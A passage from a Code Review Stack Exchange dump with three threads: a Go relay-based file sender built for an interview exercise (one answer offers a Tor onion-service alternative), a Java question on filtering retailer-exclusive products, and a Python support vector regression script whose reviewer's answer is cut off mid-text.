"github.com/Samyoul/storj-file-sender/sender/codegen"
)
func main() {
// get arguments
args := os.Args
err := validateArgs(args)
if err != nil {
log.Fatalf("error - validating arguments : %s", err)
}
// checksum file
h, err := common.HashFile(args[2])
if err != nil {
log.Fatalf("error - checksumming file %s : %s", args[2], err)
}
// generate secret code
// Use the int64 encoded checksum of the file as part of the random seed
code := codegen.Make(int64(binary.BigEndian.Uint64(h.Sum(nil))))
// display secret code
println(code)
// open connection with relay
conn, err := net.Dial("tcp", args[1])
if err != nil {
log.Fatalf("error - making a connection : %s", err)
}
defer conn.Close()
// Set write buffer size
err = conn.(*net.TCPConn).SetWriteBuffer(common.BufferLimit)
if err != nil {
log.Fatalf("error - setting write buffer : %s", err)
}
// Write and send header on connection, send checksum and filename with header
hdr := common.MakeRequestHeaderSend(args[2], code, h.Sum(nil))
conn.Write(hdr)
// Open file hold ready to transfer
f, err := os.Open(args[2])
if err != nil {
log.Fatal(err)
}
defer f.Close()
}
func validateArgs(args []string) error {
if len(args) != 3 {
return errors.New(
"invalid number of arguments.\n" +
"expected : ./sender <relay-host>:<relay-port> <file-to-send>\n" +
"example : ./sender localhost:9021 corgis.mp4")
}
return nil
}
</code></pre>
<p>My Relay code:</p>
<pre class="lang-golang prettyprint-override"><code>package main
import (
"errors"
"fmt"
"io"
"log"
"net"
"os"
"sync"
"github.com/Samyoul/storj-file-sender/common"
)
type stream struct {
checksum []byte
filename []byte
sendConn chan net.Conn
wg sync.WaitGroup
}
func (s *stream) Close() {
close(s.sendConn)
}
type streamMap map[string]*stream
func main() {
// get init argument
args := os.Args
err := validateArgs(args)
if err != nil {
log.Fatalf("error - validating arguments : %s", err)
}
// open TCP server
l, err := net.Listen("tcp", args[1])
if err != nil {
log.Fatalf("error - starting tcp server : %s", err)
}
defer l.Close()
// Create streams map
sm := streamMap{}
// wait for connections
for {
conn, err := l.Accept()
if err != nil {
log.Println(err)
return // return don't exit because you don't want to kill your whole server over a single fail connection
}
// serve connections with successful connection
go handle(&sm, conn)
}
}
func handle(sm *streamMap, conn net.Conn) {
defer conn.Close()
// Get the connection header
// Added header so that I connection parameters can be exchanged between client and server
hdr, err := common.GetRequestHeader(conn)
if err != nil {
log.Printf("error - getting request header - %s", err)
return
}
// determine the type of connection coming in.
// switch logic to give handler for each the send and receive requests
switch string(hdr["Type"]) {
case common.HeaderSend:
err = send(sm, conn, hdr)
if err != nil {
log.Printf("error - processing send request - %s", err)
return
}
break
case common.HeaderReceive:
err = receive(sm, conn, hdr)
if err != nil {
log.Printf("error - processing receive request - %s", err)
return
}
break
default:
log.Println(hdr)
}
}
func validateArgs(args []string) error {
if len(args) != 2 {
return errors.New(
"invalid number of arguments.\n" +
"expected : ./relay :<port>\n" +
"example : ./relay :9021")
}
return nil
}
func send(sm *streamMap, conn net.Conn, hdr common.Header) error {
s := &stream{}
(*sm)[string(hdr["Code"])] = s
s.filename = hdr["Filename"]
s.checksum = hdr["Checksum"]
s.sendConn = make(chan net.Conn)
s.wg = sync.WaitGroup{}
defer s.Close()
err := conn.(*net.TCPConn).SetReadBuffer(common.BufferLimit)
if err != nil {
return err
}
s.wg.Add(1)
s.sendConn <- conn
s.wg.Wait()
delete(*sm, string(hdr["Code"]))
return nil
}
func receive(sm *streamMap, conn net.Conn, hdr common.Header) error {
// Check the stream exists in the stream map
s, ok := (*sm)[string(hdr["Code"])]
if !ok {
return errors.New(fmt.Sprintf("unrecognised secret code '%s'", hdr["Code"]))
}
rh := common.MakeResponseHeaderReceive(s.filename, s.checksum)
_, err := conn.Write(rh)
if err != nil {
return err
}
_, err = io.Copy(conn, <-s.sendConn)
if err != nil {
return err
}
s.wg.Done()
return nil
}
</code></pre>
<p>My Receiver code :</p>
<pre class="lang-golang prettyprint-override"><code>package main
import (
"bytes"
"errors"
"io"
"log"
"net"
"os"
"github.com/Samyoul/storj-file-sender/common"
)
func main() {
// get arguments
args := os.Args
err := validateArgs(args)
if err != nil {
log.Fatalf("error - validating arguments : %s", err)
}
// open connection with relay
conn, err := net.Dial("tcp", args[1])
if err != nil {
log.Fatalf("error - making a connection : %s", err)
}
defer conn.Close()
// make receive request to relay
reqH := common.MakeRequestHeaderReceive(args[2])
conn.Write(reqH)
// get receive response header from relay with checksum and filename
resH, err := common.GetResponseHeader(conn)
if err != nil {
log.Fatalf("error - reading response header : %s", err)
}
// start to receive data stream
fn := args[3] + string(resH["Filename"])
f, err := os.Create(fn)
if err != nil {
log.Fatalf("error - creating file : %s", err)
}
defer f.Close()
// write data to file
_, err = io.Copy(f, conn)
if err != nil {
log.Fatalf("error - creating file : %s", err)
}
// check file complete with checksum comparison.
h, err := common.HashFile(fn)
if err != nil {
log.Fatalf("error - checksumming file %s : %s", fn, err)
}
if bytes.Compare(h.Sum(nil), resH["Checksum"]) != 0 {
log.Fatalf("error - checksum does not match")
}
}
func validateArgs(args []string) error {
if len(args) != 4 {
return errors.New(
"invalid number of arguments.\n" +
"expected : ./receiver <relay-host>:<relay-port> <secret-code> <output-directory>\n" +
"example : ./receiver localhost:9021 this-is-a-secret-code out/")
}
return nil
}
</code></pre>
<p>There are a few other files for handling common functionality and random code gen but this is the core of the applications I've written. What could I have done better? Thank you.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T16:01:53.687",
"Id": "463886",
"Score": "0",
"body": "i think the code is racy regarding the `sm` variable of type `streamMap`. i would have written a node.go and a relay.go. relay codes are missing timeout. why `hdr := *new([]byte)` ? what happens if two receive of the same file occurs before first send finishes ? the server can be flooded as it does not limit number of active connections. due to a poor api abstractions, you are not testing very much of the program, there should be something like a client and a server, and some tests that spawns each to trigger some use cases."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T16:19:22.420",
"Id": "463892",
"Score": "2",
"body": "For other internet travelers, some good feedback also exists on https://www.reddit.com/r/golang/comments/eyphsm/golang_homework_interview_challenge_for_storj/"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T12:44:36.507",
"Id": "464006",
"Score": "0",
"body": "The current question title is too general to be useful here. Please edit to the site standard, which is for the title to simply **state the task accomplished by the code**. Please see [**How to get the best value out of Code Review: Asking Questions**](https://CodeReview.Meta.StackExchange.com/q/2436) for guidance on writing good question titles."
}
] |
[
{
"body": "<p>because OP code is using poor abstractions, the code review that should be produced involves writing a whole new solution from scratch to demonsrate what should have been done going down the path chosen by OP.</p>\n\n<p>it is a lot of work, with chances that the end code does not even demonstrate specific solution to some specific flaws of OP code, because the new implementation would probably be inherently not affected by this or that flaw.</p>\n\n<p>here are some comments about OP code, then an alternative approach proposal</p>\n\n<ul>\n<li>sm variable usage seems racy, you should <code>go run</code> your code with the <code>-race</code> argument.</li>\n<li>relay codes management appears weak to flooding. they lack a maximum count limit and lifetime system involving timeout durations.</li>\n<li>send/receive operations might be weak to code stealing</li>\n<li>the headers are a map[string], i would use a well defined struct </li>\n<li>this is weird <code>hdr := *new([]byte)</code>, just write <code>hdr := []byte{}</code></li>\n<li>tests are not testing much of the use cases, the current api does not allow it.</li>\n</ul>\n\n<p>dirty code, but functional, userA shares files with userB. the third party rdv point is provided by the tor network, users has to exchange both EP and credentials.</p>\n\n<pre><code>package main\n\nimport (\n \"context\"\n \"crypto\"\n \"crypto/ed25519\"\n \"crypto/rand\"\n \"crypto/x509\"\n \"encoding/pem\"\n \"flag\"\n \"fmt\"\n \"io/ioutil\"\n \"log\"\n \"net/http\"\n \"os\"\n \"os/signal\"\n \"time\"\n\n \"github.com/99designs/basicauth-go\"\n \"github.com/clementauger/tor-prebuilt/embedded\"\n \"github.com/cretz/bine/tor\"\n)\n\nfunc main() {\n\n var privateKey crypto.PrivateKey\n if _, err := os.Stat(\"onion.pk\"); os.IsNotExist(err) {\n _, privateKey, err = ed25519.GenerateKey(rand.Reader)\n if err != nil {\n log.Fatal(err)\n }\n x509Encoded, err := x509.MarshalPKCS8PrivateKey(privateKey)\n if err != nil {\n log.Fatal(err)\n }\n pemEncoded := pem.EncodeToMemory(&pem.Block{Type: \"PRIVATE KEY\", Bytes: x509Encoded})\n ioutil.WriteFile(\"onion.pk\", pemEncoded, os.ModePerm)\n } else {\n d, _ := ioutil.ReadFile(\"onion.pk\")\n block, _ := pem.Decode(d)\n x509Encoded := block.Bytes\n privateKey, err = x509.ParsePKCS8PrivateKey(x509Encoded)\n if err != nil {\n log.Fatal(err)\n }\n }\n\n d, err := ioutil.TempDir(\"\", \"\")\n if err != nil {\n log.Fatal(err)\n }\n\n // Start tor with default config (can set start conf's DebugWriter to os.Stdout for debug logs)\n fmt.Println(\"Starting and registering onion service, please wait a couple of minutes...\")\n t, err := tor.Start(nil, &tor.StartConf{TempDataDirBase: d, ProcessCreator: embedded.NewCreator(), NoHush: true})\n if err != nil {\n log.Panicf(\"Unable to start Tor: %v\", err)\n }\n defer t.Close()\n // Wait at most a few minutes to publish the service\n listenCtx, listenCancel := context.WithTimeout(context.Background(), 3*time.Minute)\n defer listenCancel()\n // Create a v3 onion service to listen on any port but show as 80\n onion, err := t.Listen(listenCtx, &tor.ListenConf{Key: privateKey, Version3: true, RemotePorts: []int{80}})\n if err != nil {\n log.Panicf(\"Unable to create onion service: %v\", err)\n }\n defer onion.Close()\n fmt.Printf(\"Open Tor browser and navigate to http://%v.onion\\n\", onion.ID)\n // fmt.Println(\"Press enter to exit\")\n // Serve the current folder from HTTP\n errCh := make(chan error, 1)\n go func() {\n errCh <- mainn(onion)\n }()\n // End when enter is pressed\n // go func() {\n // if _, err := fmt.Scanln(); err == nil {\n // errCh <- nil\n // }\n // }()\n\n c := make(chan os.Signal, 1)\n signal.Notify(c)\n select {\n case err = <-errCh:\n log.Panicf(\"Failed serving: %v\", err)\n case s := <-c:\n fmt.Println(\"Got signal:\", s)\n }\n}\n\nfunc mainn(onion *tor.OnionService) error {\n var dir string\n var user string\n var pwd string\n flag.StringVar(&dir, \"d\", \".\", \"directory path to serve\")\n flag.StringVar(&user, \"u\", \"user\", \"username\")\n flag.StringVar(&pwd, \"p\", \"pass\", \"password\")\n flag.Parse()\n\n users := map[string][]string{}\n users[user] = []string{pwd}\n middleware := basicauth.New(onion.ID, users)\n\n h := middleware(http.FileServer(http.Dir(dir)))\n\n return http.Serve(onion, h)\n}\n</code></pre>\n\n<p>because the underlying implementation is using the http std go library, one can use all sorts of middleware to improve security or other aspects.</p>\n\n<p>using tor you have a zero configuration JIT bi directionnal connectivity to work with out of the box, although some enterprise level network environment might give problems.</p>\n\n<p>I don't know if that would pass the test (...)</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T10:00:42.647",
"Id": "236700",
"ParentId": "236641",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T12:25:09.193",
"Id": "236641",
"Score": "1",
"Tags": [
"interview-questions",
"homework",
"go"
],
"Title": "Go homework interview challenge for Storj"
}
|
236641
|
<p>As regarding the following question I have completed the code as below.</p>
<p>But I am curious about other effective solutions. I am also curious about if there is any solution that could be applicable by using java stream API.</p>
<p>It is not mandatory to keep records at <code>int[][]</code> matrix. Any data structure can be used.</p>
<p>My solution has <code>O(n)</code> time complexity. If you have a better to solve the question please share your solution.</p>
<p>For a given retailer "100" function only needs to return 4 because product 1 exists in other retailers.</p>
<p>Thanks.</p>
<pre><code>public class InterviewQuestion {
public static void main(String[] args) {
int[][] itemSeller = { {1, 100},
{2, 200},
{3, 300},
{4, 100},
{1, 200},
{2, 300} };
int target = 100;
getUniqueProduct(itemSeller,target);
}
private static void getUniqueProduct(int[][] itemSeller, int target) {
int count[] = new int[itemSeller.length];
for (int i = 0; i < itemSeller.length; i++) {
count[itemSeller[i][0]]++;
}
for (int i = 0; i < itemSeller.length; i++) {
if (target == itemSeller[i][1]) {
int item = itemSeller[i][0];
if (count[item] > 1) {
continue;
} else
System.out.println(item);
}
}
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T13:16:32.997",
"Id": "464142",
"Score": "0",
"body": "Is there any idea for achieving it O(logn) time. I was thinking to achieve it finding similarity to this problem \"https://leetcode.com/discuss/interview-question/354854/Facebook-or-Phone-Screen-or-Cut-Wood\" ."
}
] |
[
{
"body": "<p>The exact time complexity of your algorithm is O(2*n) since it performs two sequential iterations on the array.</p>\n\n<p>I do have a slightly better performing algorithm:</p>\n\n<ol>\n<li><p>Sort the array by the first item in the 2nd dimension array (item number)</p></li>\n<li><p>iterate over the sorted array looking for items that have exactly one line that has the requested target seller.</p></li>\n</ol>\n\n<p>time complexity is O(n log n) + O(n)</p>\n\n<p>Note:\nstreaming of arrays is possible with <a href=\"https://docs.oracle.com/javase/8/docs/api/java/util/Arrays.html#stream-T:A-\" rel=\"nofollow noreferrer\">Arrays.stream()</a></p>\n\n<p>Edit:\nHere is a complete solution with Java 8 streams:</p>\n\n<pre><code>private static void getUniqueProduct2(int[][] itemSeller, int target) {\n\n // map key is item, map value is list of 2nd dimension arrays that have this item\n Map<Integer, List<int[]>> map =\n Arrays.stream(itemSeller)\n .collect(Collectors.groupingBy(arr -> arr[0]));\n\n // stream on map values, looking for lists with one list-item that belongs to target seller\n // build array of items that satisfy criteria\n int[] sellerExclusiveItems =\n map.values().stream()\n .filter(list -> list.size() == 1 && list.get(0)[1] == target)\n .mapToInt(list -> list.get(0)[0])\n .toArray();\n\n System.out.println(Arrays.toString(sellerExclusiveItems));\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T15:32:39.230",
"Id": "463879",
"Score": "0",
"body": "(Exact resource requirements analysis doesn't use \"big-O\". Asymptotic analysis ignores constant factors (like `2`).)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T15:37:25.783",
"Id": "463881",
"Score": "0",
"body": "Are you suggest categorising or ordering when you suggest `sort `?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T15:44:00.900",
"Id": "463882",
"Score": "0",
"body": "There is no such time complexity as O(2n). Because constants should be removed. Regarding the first approach, it doesn't seem better than the initial approach. The stream approach seems complicated to track but cleaner."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T15:50:51.997",
"Id": "463883",
"Score": "0",
"body": "\"doesn't seem better \"? why? I explained why it has better performance (even if not better time complexity)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T15:51:46.540",
"Id": "463884",
"Score": "0",
"body": "I guess the level of the complication of the stream approach is debatable and will differ with how much experience one has with Java 8 streams."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T16:04:01.160",
"Id": "463887",
"Score": "0",
"body": "O(n log n) + O(n) Is still O(n log n). And it is worse than O(n) which Is same as O(2n) because there Is Always a constant of unspecified magnitude and we omit that constant for this exact reason. Can you explain what you mean that it has better performance even if time complexity Is worse? It may have better performance for some \"small\" n, but at some point and for any larger n, OP's code will perform better."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T15:00:32.170",
"Id": "236654",
"ParentId": "236645",
"Score": "0"
}
},
{
"body": "<p>Your class is <code>InterviewQuestion</code>, if it is for an interview, then there's a few other things to consider, in addition to whether or not you get a reasonably efficient solution. Whilst a bad solution will probably rule you out, a non-optimal solution may be acceptable depending on other factors.</p>\n\n<p><strong>Seperation of concerns</strong></p>\n\n<p>Finding the list of unique product items seems like it's a different concern to printing the list out to the console. Rather than printing the items out directly, it would be better to return the list of items and then print them from the caller. Not only does this demonstrate that you're thinking about reuse, but it also makes the code easier to write automated tests (for a given set of inputs, you can test against the expected results).</p>\n\n<p><strong>Naming</strong></p>\n\n<p>Naming is fairly important for readability. You variable names are mostly appropriate, but a few small things. Your method <code>getUniqueProduct</code> doesn't return anything, which is misleading. <code>productRetailer</code> is a collection of mappings, rather than a single product retailer. Something like <code>productRetailerMappings</code> might be more descriptive. <code>target</code> refers to a retailer, so <code>targetRetailer</code> would make this clearer, otherwise given the context it might be expected that it's the <code>targetProductId</code>.</p>\n\n<p><strong>Consistency</strong></p>\n\n<p>Modern IDE's can auto-format your code for you. Inconsistencies suggest that either you don't use your IDE effectively, or that you lack attention to detail. Both of these are things that interviewers are going to consider. Two obvious things that stand out are sometimes there's <code>) {</code> and sometimes there's <code>){</code>. A missing space may seem minor, but it is noticeable. Another is blank line after at the top of the if block. Sometimes you have one, sometimes you don't.</p>\n\n<p><strong>To continue...or not</strong></p>\n\n<blockquote>\n<pre><code>if(count[item]>1){\n continue;\n}else\n System.out.println(item);\n</code></pre>\n</blockquote>\n\n<p>It's almost always preferable to use <code>{}</code> around your <code>if</code>/<code>else</code> clauses. Doing it for one side of an if, and not for the else, when they're both one-line is unnecessarily confusing. The <code>else</code> is also redundant in this case, since if the <code>if</code> is triggered, the following code won't be executed anyway, you don't need the <code>else</code>. Where possible you want to avoid introducing unnecessary nesting. Since there's nothing else after the <code>println</code> that's executed, inverting the <code>if</code> would also make the code cleaner, since you wouldn't need the branch condition:</p>\n\n<pre><code>if(count[item]==1) {\n System.out.println(item);\n}\n</code></pre>\n\n<p><strong>Constants can help readability</strong></p>\n\n<p>You're using a two dimensional array, with a fixed size. Have two constants, one for the ITEM_COUNT and one for the RETAILER_ID would help in understanding. It's not obvious from this line:</p>\n\n<blockquote>\n<pre><code>if(target == productRetailer[i][1]) {\n</code></pre>\n</blockquote>\n\n<p>What '1' is referring to (retailer or item).</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T17:58:32.907",
"Id": "236661",
"ParentId": "236645",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T13:11:53.653",
"Id": "236645",
"Score": "4",
"Tags": [
"java",
"performance",
"algorithm",
"stream"
],
"Title": "Filtering product ids"
}
|
236645
|
<p>I coded this Support Vector Regression (SVR) myself following some equations in a journal (see <a href="https://journal.unnes.ac.id/nju/index.php/sji/article/view/14613/pdf" rel="nofollow noreferrer">here</a>, or <a href="http://j-ptiik.ub.ac.id/index.php/j-ptiik/article/view/1457/507" rel="nofollow noreferrer">here</a> (not in English)). The loss function used by the journal and the code below is mean absolute percentage error (MAPE). </p>
<p>I need to make it run faster because I will use this function 1600 times for evaluations. If I use this code it will be running for a couple days or even a week for one run.</p>
<p>How can I make it run faster? I'm beginner in Python (first time coding in Python).</p>
<p>This example stock market data I use: <a href="https://drive.google.com/file/d/1DHuLL7y2obILkn55yCugjKpewiZmR_-p/view?usp=sharing" rel="nofollow noreferrer">TLKM.CSV</a></p>
<p>You can see the code here: <a href="https://pastebin.com/cFrbQaNV" rel="nofollow noreferrer">SVRpython.py</a> or below:</p>
<pre><code>import csv
import pandas as pd
import numpy as np
import math
import matplotlib.pyplot as plt
import random as Rand
from pandas import DataFrame
from sklearn.model_selection import train_test_split
import pdb
import time
nstart=time.process_time()
# pdb.set_trace()
# import IPython as IP
data = pd.read_csv("TLKM.csv")
def Distancetrain(d3, d2, d1):
d=len(d3.index)
harray=[]
for i in range(d):
harray.clear()
for j in range(d):
harray.append(((d3.iloc[i]-d3.iloc[j])**2) + ((d2.iloc[i]-d2.iloc[j])**2) + ((d1.iloc[i]-d1.iloc[j])**2))
if i < 1:
distancedata=pd.DataFrame(harray)
else:
distancedata[i]=harray
print("distance train")
print(time.process_time()-nstart)
return distancedata
def Distancetest(d3train, d2train, d1train, d3test, d2test, d1test):
dtrain=len(d3train.index)
dtest=len(d3test.index)
harray=[]
for i in range(dtrain):
harray.clear()
for j in range(dtest):
harray.append(((d3test.iloc[j]-d3train.iloc[i])**2) + ((d2test.iloc[j]-d2train.iloc[i])**2) + ((d1test.iloc[j]-d1train.iloc[i])**2))
if i < 1:
distancedata=pd.DataFrame(harray)
else:
distancedata[i]=harray
print("distance test")
print(time.process_time()-nstart)
return distancedata
def Hessian(dfdistance, sigma, lamda):
d=len(dfdistance.index)
col=len(dfdistance.columns)
hes = np.array([], dtype=np.float64).reshape(0,col)
tampung = [[0] * col]
sig2= 2*(sigma**2)
lam2=lamda**2
for i in range(d):
for j in range(col):
tampung[0][j]=np.exp(-1*((dfdistance.iloc[i][j])/(sig2))) + (lam2)
hes=np.vstack([hes, tampung])
dfhessian=pd.DataFrame(hes)
print("hessian")
print(time.process_time()-nstart)
return dfhessian
def Seqlearn(y, dfhessian, gamma, eps, c, itermaxsvr):
d=len(dfhessian.index)
a = [[0] * d]
a_s = [[0] * d]
la = [[0] * d]
la_s = [[0] * d]
E = np.array([], dtype=np.float64).reshape(0,d)
Etemp = [[0] * d]
da_s = np.array([], dtype=np.float64).reshape(0,d)
da = np.array([], dtype=np.float64).reshape(0,d)
dat_s = [[0] * d]
dat = [[0] * d]
tempas = [[0] * d]
tempa = [[0] * d]
for i in range(itermaxsvr):
for j in range(d):
Rijhelp=0
for k in range(d):
Rijhelp = Rijhelp + ((a_s[i][k] - a[i][k])*(dfhessian.iloc[j][k]))
Etemp[0][j]= y.iloc[j] - Rijhelp
E=np.vstack([E, Etemp])
for l in range(d):
dat_s[0][l]=min(max(gamma*(E[i][l] - eps), -1*(a_s[i][l])), (c - a_s[i][l]))
dat[0][l]=min(max(gamma*(-(E[i][l]) - eps), -1*(a[i][l])), (c - a[i][l]))
tempas[0][l]= a_s[i][l] + dat_s[0][l]
tempa[0][l]= a[i][l] + dat[0][l]
da_s=np.vstack([da_s, dat_s])
da=np.vstack([da, dat])
a=np.vstack([a, tempa])
a_s=np.vstack([a_s, tempas])
la=tempa
la_s=tempas
# (|da|<eps and |das|<eps ) or max iterasi
dat_abs=max([abs(xdat) for xdat in dat[0]])
dat_s_abs=max([abs(xdats) for xdats in dat_s[0]])
print(dat_abs)
print(dat_s_abs)
if (dat_abs < eps) and (dat_s_abs < eps):
print(time.process_time()-nstart)
break
print(time.process_time()-nstart)
return la, la_s
def Predictf(a, a_s, dfhessian):
# predict = sum ((a_s[0][k]-a[0][k]) * hessian[j][k])
row=len(dfhessian.index)
col=len(dfhessian.columns)
for j in range(row):
datax=0
for k in range(col):
datax= datax + ((a_s[0][k] - a[0][k])*(dfhessian.iloc[j][k]))
if (j == 0):
dataxm=datax
elif (j > 0):
dataxm=np.vstack([dataxm, datax])
print("predict")
print(time.process_time()-nstart)
return dataxm
def Normalization(datain, closemax, closemin):
dataout=(datain - closemin)/(closemax - closemin)
return dataout
def SVRf(df, closemax, closemin, c, lamda, eps, sigma, gamma, itermaxsvr):
result = df.assign(Day_3 = Normalization(df.Day_3, closemax, closemin), Day_2=Normalization(df.Day_2, closemax, closemin), Day_1=Normalization(df.Day_1, closemax, closemin), Actual=Normalization(df.Actual, closemax, closemin))
X_train, X_test, y_train, y_test, d3_train, d3_test, d2_train, d2_test, d1_train, d1_test, date_train, date_test = train_test_split(result['Index'], result['Actual'], result['Day_3'], result['Day_2'], result['Day_1'], result['Date'], train_size=0.9, test_size=0.1, shuffle=False)
distancetrain=Distancetrain(d3_train, d2_train, d1_train)
mhessian=Hessian(distancetrain, sigma, lamda)
a, a_s = Seqlearn(y_train, mhessian, gamma, eps, c, itermaxsvr)
distancetest=Distancetest(d3_train, d2_train, d1_train, d3_test, d2_test, d1_test)
testhessian=Hessian(distancetest, sigma, lamda)
predict = Predictf(a, a_s, testhessian)
hasilpre=pd.DataFrame()
tgltest = date_test
tgltest.reset_index(drop=True, inplace=True)
hasilpre['Tanggal'] = tgltest
hasilpre['Close'] = predict
deresult = hasilpre.assign(Close=(hasilpre.Close * (closemax - closemin) + closemin))
n=len(y_test)
aktualtest = (y_test * (closemax - closemin)) + closemin
aktualtest.reset_index(inplace=True, drop=True)
dpredict = pd.Series(deresult['Close'], index=deresult.index)
hasil = aktualtest - dpredict
hasil1 = (hasil / aktualtest).abs()
suma = hasil1.sum()
mape = (1/n) * suma
print("MAPE")
print(mape)
fitness = 1/(1+mape)
print(fitness)
return fitness, mape, hasilpre
Closemax=data['Close'].max()
Closemin=data['Close'].min()
print(Closemax)
print(Closemin)
day3 = data['Close'][0:((-1)-2)]
day2 = data['Close'][1:((-1)-1)]
day2.index = day2.index - 1
day1 = data['Close'][2:((-1)-0)]
day1.index = day1.index - 2
dayact = data['Close'][3:]
dayact.index = dayact.index - 3
dateact = data['Tanggal'][3:]
dateact.index = dateact.index - 3
mydata = pd.DataFrame({'Index':data['Index'][0:((-1)-2)], 'Date':dateact, 'Day_3':day3, 'Day_2':day2, 'Day_1':day1, 'Actual':dayact})
print("data proses",time.process_time()-nstart)
Lamda=0.09
C=200
Eps=0.0013
Sigma=0.11
Gamma=0.004
Itermaxsvr=1000
SVRf(mydata, Closemax, Closemin, C, Lamda, Eps, Sigma, Gamma, Itermaxsvr)
nstop=time.process_time()
print(nstop-nstart)
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T15:00:36.333",
"Id": "463873",
"Score": "2",
"body": "Welcome to CodeReview@SE. Try and improve the title: have it tell coders not into machine learning what the code presented is to accomplish, see [How do I ask a Good Question?](https://codereview.stackexchange.com/help/how-to-ask) If you can, add information where most time is spent, a meaningful execution time profile."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T15:06:08.990",
"Id": "463874",
"Score": "1",
"body": "I guess it's on Seqlearn function make that slow. Because there's many looping..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T15:57:31.650",
"Id": "463885",
"Score": "0",
"body": "I'm not quite into panda, numpy and machine learning. It will take me quite a long time to understand your code to, maybe, improve performances. However, I can suggest you to have a look at [cProfile](https://docs.python.org/3.8/library/profile.html#module-cProfile), which once dumped into a file can be used with [snakeviz](https://pypi.org/project/snakeviz/). It helps to identify bottlenecks!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T23:42:17.927",
"Id": "463950",
"Score": "0",
"body": "@AlexV Yes, it's Support Vector Regression. Right, TLKM.CSV is stock market data. Predict future and calculate MAPE. This is journal that I follow: [Journal1](https://journal.unnes.ac.id/nju/index.php/sji/article/view/14613/pdf) and [Jurnal2](http://j-ptiik.ub.ac.id/index.php/j-ptiik/article/view/1457/507). But Second journal not in english, sorry."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T08:47:39.140",
"Id": "463987",
"Score": "0",
"body": "I think it's look great..."
}
] |
[
{
"body": "<p>First and foremost: go and get yourself an IDE with an autoformatter, e.g. <a href=\"https://www.jetbrains.com/pycharm/\" rel=\"nofollow noreferrer\">PyCharm</a>, <a href=\"https://code.visualstudio.com/\" rel=\"nofollow noreferrer\">Visual Studio Code</a> with the <a href=\"https://code.visualstudio.com/docs/python/python-tutorial\" rel=\"nofollow noreferrer\">Python Plugin</a> (just to name a few, there is a longer list in <a href=\"https://codereview.meta.stackexchange.com/a/5252/92478\">another post here on Code Review</a>). This will help you to establish a consistent code style, which in turn makes it easier to read and review code. Python comes with an \"official\" <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">Style Guide for Python Code</a> (aka PEP 8) and those tools greatly help to write code that looks professional. Some aspects to take special care of:</p>\n\n<ul>\n<li>whitespace before and after <code>=</code> in assignments, e.g. <code>distancedata = pd.DataFrame(harray)</code></li>\n<li><code>lower_case_with_underscore</code> names for variables and functions, e.g. <code>def distances_train(d3, d2, d1): ...</code></li>\n<li>writing <code>\"\"\"documentation\"\"\"</code> for your code</li>\n</ul>\n\n<p>Once you have that covered, I highly recommend to have a look at some of the talks of Jake VanderPlas:</p>\n\n<ul>\n<li><a href=\"https://www.youtube.com/watch?v=EEUXKG97YRw\" rel=\"nofollow noreferrer\">Losing your Loops - Fast Numerical Computing with NumPy</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=zQeYx87mfyw\" rel=\"nofollow noreferrer\">Performance Python: Seven Strategies for Optimizing Your Numerical Code</a></li>\n</ul>\n\n<p>Also a highly recommended read to get going with numerical computations in Python: <a href=\"https://jakevdp.github.io/PythonDataScienceHandbook/\" rel=\"nofollow noreferrer\">Python Data Science Handbook</a> by the same person. It will take you some time to work through this, but I promise it'll be worth the effort.</p>\n\n<p>A core takeaway of the material I linked to: Loops are slow in plain Python, so it's often best to avoid them as far as possible.</p>\n\n<p>I'll demonstrate that using <code>Distancetrain</code></p>\n\n<blockquote>\n<pre><code>def Distancetrain(d3, d2, d1):\n d = len(d3.index)\n harray = []\n for i in range(d):\n harray.clear()\n for j in range(d):\n harray.append(((d3.iloc[i]-d3.iloc[j])**2) + ((d2.iloc[i]-d2.iloc[j])**2) + ((d1.iloc[i]-d1.iloc[j])**2))\n if i < 1:\n distancedata = pd.DataFrame(harray)\n else:\n distancedata[i] = harray\n return distancedata\n</code></pre>\n</blockquote>\n\n<p>Things that make this function slow:</p>\n\n<ul>\n<li>nested <code>for</code> loops in Python</li>\n<li>unnecessary computations: <a href=\"https://en.wikipedia.org/wiki/Metric_(mathematics)#Definition\" rel=\"nofollow noreferrer\">a core principle of a distance function like the squared Euclidean distance you are using is, that it is symmetric</a>, i.e. you only have to compute either the upper or lower (triangle) half of the distance matrix</li>\n<li>\"hand-written\" distance function</li>\n<li>elementwise access to elements of a pandas series: pandas and numpy are optimized to apply the same operation on a lot of elements at the same time. Manually iterating over them can be costly and very slow.</li>\n<li>dynamically growing array(s)</li>\n</ul>\n\n<p>So how can this be improved? Since distance computation is a very common task in all kinds of machine 